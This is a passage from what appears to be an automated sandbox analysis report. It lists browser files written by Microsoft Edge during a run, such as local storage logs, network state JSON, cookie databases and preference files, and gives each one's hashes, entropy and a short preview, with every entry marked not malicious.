Malicious:	false
Preview:	2024/11/09-16:09:34.065 1c90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/09-16:09:34.067 1c90 Recovering log #3.2024/11/09-16:09:34.082 1c90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.155611415087137
Encrypted:	false
SSDEEP:	6:H2Aq2P923oH+Tcwt8a2jMGIFUt8Y2wgZmw+Y2CfkwO923oH+Tcwt8a2jMmLJ:tv4Yeb8EFUt8h/+wf5LYeb8bJ
MD5:	08670C046F6B81F14E1566B723D0864B
SHA1:	0D5E2B9AEA656D6F08CE8112E046022CF6219CD7
SHA-256:	29F666036D093460EE6BA936094350BF702F4A6F1BC1A20577C6706045794F9C
SHA-512:	93C863E3576DEF5C859ABFE43696CCD4C75D049E8555C40CB728FA0390A9C27DC738294324326F8A4B88D3F498D15946C2067D27A6E55EE289FCB437B1400446
Malicious:	false
Preview:	2024/11/09-16:09:34.065 1c90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/09-16:09:34.067 1c90 Recovering log #3.2024/11/09-16:09:34.082 1c90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\16a88c07-dc4d-4127-817f-fc0f6bf48792.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\16d863a3-f996-45e9-be11-52cd807037c6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\36e076ad-1a9a-4043-a9df-31e970ba4e25.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3f1b6a6f-9b8b-4137-9b01-075baf19b1f7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7b4e177b-7755-4fc8-8f4f-24f051030fd7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1789
Entropy (8bit):	5.333856788993325
Encrypted:	false
SSDEEP:	48:YcgCzsItsvWfc7aleeBkEspCgHMIskCgHUbxo+:FTB2akeBktTM0TUVo+
MD5:	2AF34004ABCA6FE0D58DAA26759DEB49
SHA1:	C1DA88AF1ABA5A4B56D43E3F09034CA4A2AD4BEA
SHA-256:	5A4161B6B0AFE11D48030FF8B069C27A3611484DBC7D8FC1E632FFAB97C36D1D
SHA-512:	6FF8119B49CD080EF1261B9E1EDF14CB718CE2B7A111F837D943B978C323EF0DEACE18C3E311B909226E63703514F4F6159C6D31C5E4E9F5330801BCC4710C32
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378252176181146","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378252178944264","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.766272624496449
Encrypted:	false
SSDEEP:	192:tTsO+oUcKtY7yTmQVWKxBO6keXcf0L/ZJVb:VsUpKtY7yCQVWnYXI0LhJVb
MD5:	4F32F412568862D56D89C720FC24211B
SHA1:	C6434B7034DF17F79E3B626612C75666CAFB3510
SHA-256:	176C1B1455DA2BC6214384F4E5A79EEDFBE76D893F273631C01F3066294CCA53
SHA-512:	C0FBDDA599A566748276F1EE9871707EBCD09A0A6FED6F2C1878D10116F0B0A5D27C81CE2AF459BAD6B5E3DD153AF08E061C7F3A9810199BC9E0E4C94C507B09
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4a39f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3230754428103493
Encrypted:	false
SSDEEP:	48:T6IopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBCWD:OIEumQv8m1ccnvS6vIfptaD62RUAcyv
MD5:	A3532F4233707FBFD33526863BAFA7DF
SHA1:	8814565930B57E2C229C3B768CC75967016F7FC1
SHA-256:	56B14933C43DD1761070798A808EA70C0B62B6B47C7890E8F8612B19F4FB8D22
SHA-512:	C5F0A66DEB5E52E9AA10EC7B0EEBAE1388CC9CFD4CE12D3CF195B721CD76FCA0BD671DE66C38306FC7ECFA9DCBEAE5CE951852DD98FC06F4B4C7A7C8916BB1FD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39730.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3a5c6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ea20a922-7b2f-419a-a915-f90b5c9e233a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12590
Entropy (8bit):	5.205107302783892
Encrypted:	false
SSDEEP:	192:stZJ99QTryDigabatSuypAs5osZihUkuM/c7p82bV+FiIXQA66W/aFIMYllPEYJ:stZPGKSu4As5ofhabGiqQx6W/aTYJ
MD5:	E2884466863FF58E6C971CFA68EA915D
SHA1:	36912A1E80A5B623A1B96430824D05C0DDC649C1
SHA-256:	A034B0F1A113F105630F5DF93089C228967B18097F3BEB52E58710B4A13D719E
SHA-512:	0CDEB97A4132E5EA0B8FAA7926B7C59BBC76E90B52B58D84FD0E5960E54BC20DC946171B89DA285778348C9C80C1918ADA2CEB5CCF0A4A62A8E5FC9A5AB908EB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375660174171440","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3d90b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12590
Entropy (8bit):	5.205107302783892
Encrypted:	false
SSDEEP:	192:stZJ99QTryDigabatSuypAs5osZihUkuM/c7p82bV+FiIXQA66W/aFIMYllPEYJ:stZPGKSu4As5ofhabGiqQx6W/aTYJ
MD5:	E2884466863FF58E6C971CFA68EA915D
SHA1:	36912A1E80A5B623A1B96430824D05C0DDC649C1
SHA-256:	A034B0F1A113F105630F5DF93089C228967B18097F3BEB52E58710B4A13D719E
SHA-512:	0CDEB97A4132E5EA0B8FAA7926B7C59BBC76E90B52B58D84FD0E5960E54BC20DC946171B89DA285778348C9C80C1918ADA2CEB5CCF0A4A62A8E5FC9A5AB908EB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375660174171440","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF414fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12590
Entropy (8bit):	5.205107302783892
Encrypted:	false
SSDEEP:	192:stZJ99QTryDigabatSuypAs5osZihUkuM/c7p82bV+FiIXQA66W/aFIMYllPEYJ:stZPGKSu4As5ofhabGiqQx6W/aTYJ
MD5:	E2884466863FF58E6C971CFA68EA915D
SHA1:	36912A1E80A5B623A1B96430824D05C0DDC649C1
SHA-256:	A034B0F1A113F105630F5DF93089C228967B18097F3BEB52E58710B4A13D719E
SHA-512:	0CDEB97A4132E5EA0B8FAA7926B7C59BBC76E90B52B58D84FD0E5960E54BC20DC946171B89DA285778348C9C80C1918ADA2CEB5CCF0A4A62A8E5FC9A5AB908EB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375660174171440","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4970c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12590
Entropy (8bit):	5.205107302783892
Encrypted:	false
SSDEEP:	192:stZJ99QTryDigabatSuypAs5osZihUkuM/c7p82bV+FiIXQA66W/aFIMYllPEYJ:stZPGKSu4As5ofhabGiqQx6W/aTYJ
MD5:	E2884466863FF58E6C971CFA68EA915D
SHA1:	36912A1E80A5B623A1B96430824D05C0DDC649C1
SHA-256:	A034B0F1A113F105630F5DF93089C228967B18097F3BEB52E58710B4A13D719E
SHA-512:	0CDEB97A4132E5EA0B8FAA7926B7C59BBC76E90B52B58D84FD0E5960E54BC20DC946171B89DA285778348C9C80C1918ADA2CEB5CCF0A4A62A8E5FC9A5AB908EB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375660174171440","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.555219673770001
Encrypted:	false
SSDEEP:	768:tXZB977pLGLpaMWPJlfT88F1+UoAYDCx9Tuqh0VfUC9xbog/OVNbxgfrwJYtzoqo:tXZB9NcpaMWPJlfT8u1jagVgsJ4zBmtx
MD5:	AA68A6D7CDFEF0DB53AE80C029B3A6B1
SHA1:	A366494F6DA59CCE885FCD3C176EC7CC8D7F0C50
SHA-256:	9667A360785B416C0005B902F817AD3251F59D6B65889CD5C2F29082BA2BC1B3
SHA-512:	1440037D7C124BE3D618F61CFB31A8D9BA995A9C2CBC90B45EC51A3852A90E54C23E9C641C6F86D067AFA3F2FB0F2F853B47261B4E942434DA74FCFDC53688DC
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375660173595742","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375660173595742","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3f54e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.555219673770001
Encrypted:	false
SSDEEP:	768:tXZB977pLGLpaMWPJlfT88F1+UoAYDCx9Tuqh0VfUC9xbog/OVNbxgfrwJYtzoqo:tXZB9NcpaMWPJlfT8u1jagVgsJ4zBmtx
MD5:	AA68A6D7CDFEF0DB53AE80C029B3A6B1
SHA1:	A366494F6DA59CCE885FCD3C176EC7CC8D7F0C50
